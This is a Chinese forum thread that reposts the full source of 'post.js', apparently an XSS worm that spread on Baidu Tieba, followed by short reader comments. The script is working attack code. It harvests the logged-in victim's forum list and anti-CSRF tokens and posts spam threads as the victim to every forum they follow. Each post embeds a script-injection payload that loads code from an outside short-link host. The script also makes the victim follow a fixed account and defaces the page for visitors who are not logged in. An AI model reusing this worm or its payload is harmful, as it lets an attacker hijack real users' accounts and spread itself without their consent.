最近出现的据说是盗取密码的post.js的原代码

天使怪盗Dick

1. 
   
2. function createXHR(){
   
3.     return window.XMLHttpRequest?
   
4.     new XMLHttpRequest():
   
5.     new ActiveXObject("Microsoft.XMLHTTP");
   
6. }
   
7. function getmyforum(url){
   
8. xmlHttp = createXHR();
   
9.     xmlHttp.open("GET",url,false);
   
10.     xmlHttp.send();
    
11.     result = xmlHttp.responseText;
    
12. result = result.match(/\/f\?kw=[A-Z0-9\%]*&from=ucenter/g);
    
13. return result;
    
14. }
    
15. function getarg(forumurl){
    
16. xmlHttp = createXHR();
    
17.     xmlHttp.open("GET",forumurl,false);
    
18.     xmlHttp.send();
    
19.     result = xmlHttp.responseText;
    
20. forumname = result.match("hidden" name="kw" id="kw" value="[^"]*").toString().split('"')[6];
    
21. forumname = encodeURIComponent(forumname);
    
22. fid = result.match("hidden" name="fid" id="fid" value="[^"]*").toString().split('"')[6];
    
23. tbs = result.match("PageData.tbs = "[a-z0-9]+";").toString().split('"')[1];
    
24. return [forumname,fid,tbs];
    
25. }
    
26. function publish_delay(data,i){
    
27. var t=setTimeout("publish(data)",1000*i);
    
28. }
    
29. function publish(data){
    
30.     url="http://tieba.baidu.com/f/commit/thread/add";
    
31. xmlHttp = createXHR();
    
32.     xmlHttp.open("POST",url,false);
    
33.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    
34.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    
35.     xmlHttp.send(data);
    
36. }
    
37. function followme(){
    
38.     url = "http://tieba.baidu.com/i/181104344";
    
39. xmlHttp = createXHR();
    
40.     xmlHttp.open("GET",url,false);
    
41.     xmlHttp.send();
    
42. result = xmlHttp.responseText;
    
43. tbs = result.match("[^_]tbs : "[0-9a-z]*"").toString().split('"')[1];
    
44. portrait = result.match(/UserInfo.request\("[0-9a-z]*/).toString().split('"')[1];
    
45. if(tbs == null || portrait == null){
    
46.             return;
    
47. }
    
48. inf = 'cmd=follow&tbs=' + tbs + '&portrait=' + portrait;
    
49. url="http://tieba.baidu.com/i/commit?stamp=" + new Date().getTime();;
    
50. xmlHttp = createXHR();
    
51.     xmlHttp.open("POST",url);
    
52.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    
53.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    
54.     xmlHttp.send(inf);
    
55. }
    
56. function random_msg(){
    
57. var tarr = new Array(
    
58. '说不过就删帖封号,有意思吗?',
    
59. '这个楼我们一定要盖啊啊啊?',
    
60. '绝对震撼人心的语录,2011年',
    
61. '显然,或者,哦,这事做错了?');
    
62. var carr = new Array(
    
63. ' RT ',
    
64. ' 难道不是吗? ',
    
65. ' 如题',
    
66. '我想说啥来着？？',
    
67. '我爱大清国,我怕他完了....');
    
68. title = tarr[Math.floor(Math.random()*(tarr.length))];
    
69. content = carr[Math.floor(Math.random()*(carr.length))];
    
70. return [encodeURIComponent(title),encodeURIComponent(content)];
    
71. }
    
72. function main(){
    
73. document.getElementsByTagName('h1')[0].innerHTML = document.getElementsByTagName('h1')[0].innerHTML.split('/scr')[0];
    
74. if(!PageData.is_login){
    
75.   tagp = document.getElementsByTagName('p');
    
76.   for (i=0;i<tagp.length;i++){
    
77.    if(tagp[i].innerHTML == '1楼'){
    
78.     tagp[i+1].innerHTML = 'BS你。看帖不登陆、不回帖、不顶贴的淫,我咒你木有小JJ!!';
    
79.     i = tagp.length;
    
80.    }
    
81.   }
    
82.   throw 'err';
    
83. }
    
84. myforum = 'http://tieba.baidu.com/f/user/myforum?v=' + new Date().getTime();
    
85. forumarr = getmyforum(myforum);
    
86. wormurl = encodeURIComponent('</script><script/src=//qr.net/edrn>');
    
87. for (i=0;i<forumarr.length;i++){
    
88.   msg = random_msg();
    
89.   forumurl = 'http://tieba.baidu.com' + forumarr[i];
    
90.   argarr = getarg(forumurl);
    
91.   data = 'kw=' + argarr[0];
    
92.   data = data + '&fid=' + argarr[1];
    
93.   data = data + '&tid=0&floor_num=0&vcode_md5=&pic_url=&rich_text=1&hasuploadpic=0&picsign=&tfrom=1';
    
94.   data = data + '&title=' + msg[0] + wormurl + '&content=' + msg[1] + '%40samy_joke%3Cbr%3E';
    
95.   data = data + '&add_post_submit=%20%E5%8F%91%20%E8%A1%A8%20&ie=utf-8';
    
96.   data = data + '&tbs=' + argarr[2];
    
97.   publish(data);
    
98. }
    
99. followme();
    
100. }
     
101. var t=setTimeout("main()",3000);

复制代码

很简单的一段代码

ooxoo

……简单……么……

……话说看到５７－６６行咱认出来了……



……点进去之后关掉立刻改密码有用么……

清水星

能不能说一说，这个工作过程呢？（看不明白……）

天使怪盗Dick

回复 MAX清水星 的帖子

这里没有看到有涉及cookie的内容、所以严格说起来这段脚本里没有盗号功能……

七颗珠子

简单个头啊！...变量名函数名过程名这么长有木有啊！...

德·米斯提科

只是执行发帖行为？太恶趣味了啊……

囧仙

这恶作剧……

刚从外面回来就看到发生了这些事情。

紅魔の月時計

不行……現在讀代碼會頭暈……

推土机之怪蜀黍

中枪了，想都没想就去改了密码。看来是多此一举啊

MG_大饼

说实话我想起了这个死亡问答 ←